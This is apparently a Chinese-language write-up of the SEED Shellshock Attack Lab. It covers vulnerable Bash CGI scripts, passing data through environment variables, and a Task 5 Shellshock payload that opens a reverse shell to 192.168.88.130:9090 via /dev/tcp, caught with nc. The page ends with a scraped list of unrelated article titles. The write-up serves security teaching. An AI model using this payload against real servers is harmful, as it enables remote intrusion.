Shellshock Attack Lab

使用Ubuntu 16.04
20.04可以使用docker或者安装apache做后面的task

Task1

Bash的版本:在本书提供的SEED Ubuntu 16.04虚拟机中,有两个版本的Bash程序位于/bin目录中。一个版本就叫Bash,这个版本已经打了补丁,所以不会受Shellshock攻击的影响。终端中运行的shell程序就是这个安全的Bash版本,它在函数传递的行为方面做了改变。另外一个版本叫bash_shellshock,这个版本没有打过补丁。因此在本章的实验中,需要使用有漏洞的版本,否则攻击不会成功。
所以我们要准备一个有漏洞的bash版本

Task2

在本实验中,我们将在远程Web服务器上发起Shellshock攻击。
许多Web服务器都启用CGI,这是用于在Web页和Web应用程序上生成动态内容的标准方法。许多CGI程序是使用Shell脚本编写的。因此,在执行CGI程序之前,将首先调用shell程序,并且这种调用是由用户从远程计算机触发的。如果Shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击的漏洞在服务器上获取特权。
在此任务中,我们将建立一个非常简单的CGI程序(称为myprog.cgi),如下所示。

#!/bin/bash_shellshock ➀
echo "Content-type: text/plain"
echo
echo
echo "Hello World"

它仅使用shell脚本打印出“ Hello World”。
将以上CGI程序放在/ usr / lib / cgi-bin目录中,并将其权限设置为755(因此它是可执行文件)

执行命令行程序curl执行相同的操作:

$ curl http://localhost/cgi-bin/myprog.cgi

在我们的设置中,我们从同一台计算机上运行Web服务器和攻击,这就是为什么使用localhost的原因。在实际攻击中,服务器在远程计算机上运行,我们使用服务器的主机名或IP地址来代替localhost。

可以看到打印出字符“hello world”

Task3

要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将其数据传递给易受攻击的Bash程序,并且需要通过环境变量传递数据。在此任务中,我们需要了解如何实现此目标。
使用以下CGI程序演示您可以向CGI程序发送任意字符串,并且该字符串将显示在环境变量之一

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ

将其放到指定文件夹并chmod


运行:
可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task4

设置完上述CGI程序之后,我们现在可以启动Shellshock攻击。攻击不取决于CGI程序中的内容,因为它的攻击目标是Bash程序,该程序在CGI脚本执行之前首先被调用。我们目标是通过URL http://localhost/cgi-bin/myprog.cgi发起攻击,以实现远程用户无法实现的目标。
我们可以通过构造合适的指令来盗取数据库密码:

Task5

Shellshock漏洞使攻击者可以在目标计算机上运行任意命令。在实际攻击中,攻击者通常选择运行Shell命令,而不是在攻击中进行硬编码,因此只要Shell程序仍然存在,他们就可以使用此Shell运行其他命令。为了实现此目标,攻击者需要运行反向Shell。反向Shell是在计算机上启动的Shell进程,其输入和输出由远程计算机的某人控制。基本上,shell在受害者的计算机上运行,但是它从攻击者的计算机上获取输入,并在攻击者的计算机上打印其输出。反向外壳程序使攻击者可以方便地在受感染计算机上运行命令。
在Selsbck攻击中创建反向shell.攻击者先运行“nc -lv 9090命令启动TCP服务器.

然后运行下面的命令向目标服务器的CGI程序发送恶意请求。
一旦curl指令被执行,攻击指令也会在服务器上被执行,这将导致CGI程序触发一个Bash shell.该Bash shell 会连接到192.168.88.130的9090端口(攻击者的机器攻击者的nc程序会接受这个连接,并显示由远端服务器的CGI触发的Bash程序送来的shell提示符,这表明反向shell成功了。可以从id命令的运行结果来确认这一点,它打印出来的远程CGI进程的用户ID是www-data.

我们通过—A选项可以设置请求的USER_AGENT选项,然后把我们的命令构建传递之后,shellshock将该环境变量转化为自己的shell变量,而如果发现一个以一对圆括号开始的环境变量时,将其转化为shell函数。这样的话USER_AGENT被转化为一个shell函数和三个shell命令并执行。此时就能完成我们想要的结果。
attacker通过-A传入USER_AGENT环境变量,该环境变量经过shellshock解析成如下:
USER_AGENT () { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.88.130/9090 0<&1 2>&1
相当于在server上执行:
/bin/bash -i > /dev/tcp/192.168.88.130/9090 0<&1 2>&1

Shellshock Attack Lab相关推荐

  1. 软件安全课程实验2 Shellshock Attack lab

    Shellshock_Attack_lab 个人博客地址 task 1 //vul.c #include <unistd.h> #include <stdio.h> #incl ...

  2. LAB 2 Shellshock Attack

    Shellshock Attack 利用Shellshock攻击Set-UID程序 Web服务器调用CGI程序 Task 1: Experimenting with Bash Function Tas ...

  3. Shellshock Attack SEED-LAB

    实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中,web服务器容器的IP地址为10.9.0.80.服务器的主机名为www.seedlab-shellshock.com.我 ...

  4. CSAPP:Attack lab

    关注公号[逆向通信猿]更精彩!!! 原文地址:https://www.jianshu.com/p/db731ca57342 本文介绍的是CSAPP书籍中的第三个lab: Attack lab.通过这个 ...

  5. 从入门到入土:[SEED-Lab]-幽灵攻击|Spectre Attack Lab|详细说明|实验步骤|实验截图

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  6. 从入门到入土:[SEED-Lab]MD5碰撞试验|MD5collgen实验|linux|Ubuntu|MD5 Collision Attack Lab|详细讲解

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  7. Attack Lab

    文章目录 Part I Level 1 Level 2 Level 3 Part II Level 2 Level 3 Part I Level 1 00000000004017a8 <getb ...

  8. csapp attack lab

    实验内容 进行5次攻击,前三个leve为代码注入攻击,后两个为面向返回编程. 实验文件 README.txt:描述目录内容的文件 ctarget:易受代码注入攻击的可执行程序 rtarget:易受面向 ...

  9. 【SeedLab】ARP Cache Poisoning Attack Lab

    目录 实验手册 实验环境 Task 1: ARP Cache Poisoning Task 1.A (using ARP request). Task 1.B (using ARP reply). T ...

最新文章

  1. Udacity机器人软件工程师课程笔记(二)-样本搜索和找回-基于漫游者号模拟器
  2. 超强实操!手把手教学Kinect深度图与RGB摄像头的标定与配准
  3. 统一沟通-技巧-9-Lync 2010-Outlook 2010-自动配置-2-普通人员
  4. 9月——都已经9月了还不好好刷题?。。
  5. 设计模式在实际业务应用中的介绍之2——业务工厂
  6. CVPR 2021 | 基于跨任务场景结构知识迁移的单张深度图像超分辨率方法
  7. Ubuntu16.04 64位系统下安装百度云管家
  8. 只删除字符串前面的‘*’号。
  9. (18)System Verilog禁止约束语句
  10. HTML section 标签
  11. Latex 导数相关符号
  12. idea—开启Run DashBoard
  13. 【深度优先搜索】整数的划分
  14. 软件测试技术案例教程 李海生 cd 源码 source,软件测试技术案例教程
  15. 【笔记】《Web全栈工程师的自我修养》
  16. 苹果手机登陆不进去显示连接服务器6,苹果6为什么显示无法连接到APPStore
  17. 英文大写字母A~Z,小写字母a~z对应的ASCII码快速查询
  18. swifty引用AFNetworking出现clang: error: linker command failed with exit code 1 (use -v to see invocation
  19. office 2019 word鼠标点击反应慢要等一下
  20. BTC公钥生成地址的过程详解

热门文章

  1. 松翰SN8P2711-C替换料
  2. 公子小白机器人的分析
  3. 换了固态硬盘需要重装系统吗?教你如何实现不重装系统!
  4. 趣头条 大数据部 技术专栏
  5. 6月红包广告插屏广告 视频广 激励广告源码【开源无授权版】2021最新微信红包封面小程序源码/带文字搭建教程
  6. 朋友圈广告助手进阶版v30.5.0
  7. 「内部分享」阿里巴巴 开源软件列表、建议收藏!
  8. 画正方形圆角android,Android 快速绘制一个圆角矩形的实例
  9. compaq evo d510 bios 密码 如何清除?
  10. 升级android10机型,Android 10.0(Q OS)系统升级计划Androi